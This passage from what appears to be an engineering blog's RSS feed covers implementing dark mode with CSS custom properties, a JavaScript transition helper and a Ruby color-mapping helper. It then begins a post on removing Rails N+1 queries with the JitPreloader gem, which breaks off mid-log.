&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E36209&quot;&gt;  --rgb-red-300&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;250&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;160&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;161&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E36209&quot;&gt;  --color-red-100&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;rgb&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;var&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#E36209&quot;&gt;--rgb-red-100&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;));&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E36209&quot;&gt;  --color-red-200&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;rgb&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;var&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#E36209&quot;&gt;--rgb-red-200&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;));&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E36209&quot;&gt;  --color-red-400&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;rgb&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;var&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#E36209&quot;&gt;--rgb-red-400&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;));&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E36209&quot;&gt;  --theme-primary-text&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;var&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#E36209&quot;&gt;--color-red-100&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E36209&quot;&gt;  --theme-primary-background&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;var&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#E36209&quot;&gt;--color-red-300&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;data-theme&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&apos;dark&apos;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;] {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E36209&quot;&gt;  --theme-primary-text&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;var&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#E36209&quot;&gt;--color-red-300&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E36209&quot;&gt;  --theme-primary-background&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;var&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#E36209&quot;&gt;--color-red-100&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This also gives you the flexibility to change the palette between the two themes. At Aha!, we introduced a bit of blue tinting into the gray palette and darkened the shades.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/338a60e273121217e862df1bb43f4077/gray-palette.png&quot; alt=&quot;Gray palette&quot;&gt;&lt;/p&gt;
&lt;p&gt;Coming up with semantic names is tough. It is going to require careful analysis of the structure of your app and lots of iteration. That leads us to the next section.&lt;/p&gt;
&lt;h2&gt;Applying the styles to your app&lt;/h2&gt;
&lt;p&gt;If your app is massive, it will seem like a daunting task to convert everything over to use these semantic names. It&apos;s probably going to take a while. Here is a simple way to break down the work.&lt;/p&gt;
&lt;h3&gt;Normalize your existing colors&lt;/h3&gt;
&lt;p&gt;First, go through the app and convert over your old hex values and variables to your new color naming scheme (not the semantic one). This should be relatively easy to do with regular expressions and global search and replace. It can be super handy to have a tool to match any hex values you find with the closest value in your palette.&lt;/p&gt;
&lt;p&gt;I downloaded the source on &lt;a href=&quot;https://shallowsky.com/colormatch/index.php?hex=ff0000&quot;&gt;this page&lt;/a&gt; and changed the .csv file to target a different list of colors.&lt;/p&gt;
&lt;p&gt;Deploying these changes to production regularly will give you time to adjust any color changes you make to elements with colors that were not in your palette.&lt;/p&gt;
&lt;h3&gt;Convert one page to dark mode&lt;/h3&gt;
&lt;p&gt;Next, pick a page and take on dark mode. Restrict dark mode so that it only applies when dark mode is enabled and a specific flag is present for that page. Something like this:&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;.dark-mode-allowed&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;[data-theme&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;dark&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;] {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  ...;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Here is how you would apply it to your page:&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;&amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#22863A&quot;&gt;body&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; class&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;dark-mode-allowed&quot;&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; data-theme&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;dark&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;&gt;&amp;#x3C;/&lt;/span&gt;&lt;span style=&quot;color:#22863A&quot;&gt;body&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This will enable you to navigate to other pages without them looking terrible. If you add a feature flag to restrict to some test accounts, you can also deploy to production as you work. Go through everything on that page and convert it to use the semantic naming scheme. This is when you will actually be fleshing out that naming scheme. You can give the custom properties rough names until you use them a few times and figure out a good pattern. Be sure to revisit them often and look for anything you can merge. You don&apos;t have to worry about modifying styles shared between pages because the light mode value for those properties should be resolving to the same value as before.&lt;/p&gt;
&lt;p&gt;Create a shortcut key sequence for switching between light and dark mode. This is also a great time to add a flashy transition between the two themes:&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;// Add a stylesheet to the body which makes switching to another mode fade&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;// between the two. Remove the style when done so it doesn&apos;t apply to normal&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;// changes.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;function&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; withCoolTransition&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#E36209&quot;&gt;wrappedFunction&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; style&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; document.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;createElement&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&apos;style&apos;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  style.type &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; &apos;text/css&apos;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  style.innerHTML &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; &apos;* { transition: background-color 0.3s, border 0.3s; }&apos;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  document.body.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;append&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(style);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;  wrappedFunction&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;();&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;  setTimeout&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(() &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    document.body.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;removeChild&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(style);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  }, &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;300&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;withCoolTransition&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(() &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  document.body.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;setAttribute&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&apos;data-theme&apos;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, newTheme);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;});&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Completing dark mode&lt;/h3&gt;
&lt;p&gt;Repeat the process of converting over every page in your app. There may be a few gotchas along the way. Some things to watch out for include color pickers, user-generated content, and server-side rendering.&lt;/p&gt;
&lt;p&gt;Color pickers are often provided to give a user the ability to change the appearance of something in the app. It might be okay to use the same colors for both themes but you might also want to transform those colors between the two themes. If you allow for a limited number of selections, then it&apos;s easy to build a mapping for the palette. If you allow choosing from the entire RGB spectrum, then you might have to create a mathematical formula for translating a color between themes. At Aha!, our color picker has a palette to choose from in addition to providing a custom color. We chose to map the palette and leave the custom ones alone.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/45df84be424e2bfa90386575956e189a/picker.png&quot; alt=&quot;Color picker comparison&quot;&gt;&lt;/p&gt;
&lt;p&gt;User-generated content is anything where a user can enter content with colors, such as embedded HTML. It is another one to watch out for. We have a lot of user-generated content in Aha! that can be synced to and from external services via integrations. As such, we cannot use variables to represent those colors. The only way to handle the user-generated content is to parse the content and replace colors before displaying it to the user.&lt;/p&gt;
&lt;p&gt;Server-side rendered content can be another source of color information. Because we use Rails at Aha!, we often generate the markup server-side. This includes transformations to some user-selected colors, such as those from the color picker. Helpers have to be tracked down and converted to return the proper color depending on the user&apos;s selected theme.&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  def&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; self.map_color_from_color_picker_to_dark_mode&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(color)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;    return&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; color &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;unless&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; dark_mode?&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;    if&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; color[&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;] &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;==&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; &quot;#&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;      color &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; color[&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;..&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;      add_hash &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; true&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;    end&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;    if&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; color.length &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;==&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; 3&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;      color &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; color[&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;] &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; 2&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; +&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; color[&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;] &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; 2&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; +&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; color[&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;2&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;] &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; 2&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;    end&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    new_color &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; PALETTE_COLORS_LIGHT_THEME_TO_DARK&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;[color.downcase] &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;||&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; color&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    add_hash &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;?&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; &quot;#&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;#{new_color}&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; : new_color&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  end&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Once you finish the last page, you can take off the training wheels by removing the &lt;code&gt;dark-mode-allowed&lt;/code&gt; condition, enable any feature flags you created so everyone has access to the feature, and let your users take dark mode for a spin.&lt;/p&gt;
&lt;h2&gt;Job well done&lt;/h2&gt;
&lt;p&gt;Looking back, that might seem like a lot of work. It definitely isn&apos;t trivial. However, each step in the process is fairly simple and safe. It just takes time, patience, and maybe a little grit. Before you know it, your app is going to look amazing.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[90% of Rails N+1 queries solved with a drop-in fix]]></title><description><![CDATA[N+1 queries come up very often when working with Rails. N+1 queries are a silent performance tax both for your application and for…]]></description><link>https://www.aha.io/engineering/articles//2021-06-30-90-percent-of-rails-n-plus-one-queries-solved-with-a-drop-in-fix</link><guid isPermaLink="true">https://www.aha.io/engineering/articles//2021-06-30-90-percent-of-rails-n-plus-one-queries-solved-with-a-drop-in-fix</guid><dc:creator><![CDATA[Kyle d’Oliveira]]></dc:creator><pubDate>Wed, 30 Jun 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;N+1 queries come up very often when working with Rails. N+1 queries are a silent performance tax both for your application and for developers. If a developer writes new code that introduces an N+1 query, it only slows down performance. It does not influence behavior, so it is easy to sneak into production. Because it is so easy to make it to production, developers need to take extra time to be vigilant when writing and reviewing code.
This is a lot of unnecessary work that we can avoid very easily with two simple lines.&lt;/p&gt;
&lt;h2&gt;What are the two lines?&lt;/h2&gt;
&lt;p&gt;The first line is an addition of a gem, &lt;a href=&quot;https://github.com/clio/jit_preloader/&quot;&gt;JitPreloader&lt;/a&gt;, to your Gemfile.&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;gem &lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&apos;jit_preloader&apos;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The second line is in an initializer, such as &lt;code&gt;config/initializer/jit_preloader.rb&lt;/code&gt; , that will enable it throughout your application.&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;JitPreloader&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.globally_enabled &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; true&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;With those two lines, the N+1 queries will disappear.&lt;/p&gt;
&lt;h3&gt;Before:&lt;/h3&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;User&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.limit(&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;10&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;).each &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;do&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; |user|&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  user.tasks.each &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;do&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; |task|&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    ...&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  end&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;end&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;17&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;39&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;34.648&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;]   &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;User&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; Load&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.0ms)  &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;SELECT&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;  &quot;users&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; FROM&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; &quot;users&quot;&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; LIMIT&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; $1  [[&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;LIMIT&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;10&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;]]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;17&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;39&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;34.707&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;]   &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;Task&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; Load&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.6ms)  &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;SELECT&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; &quot;tasks&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.&lt;/span&gt;&lt;span 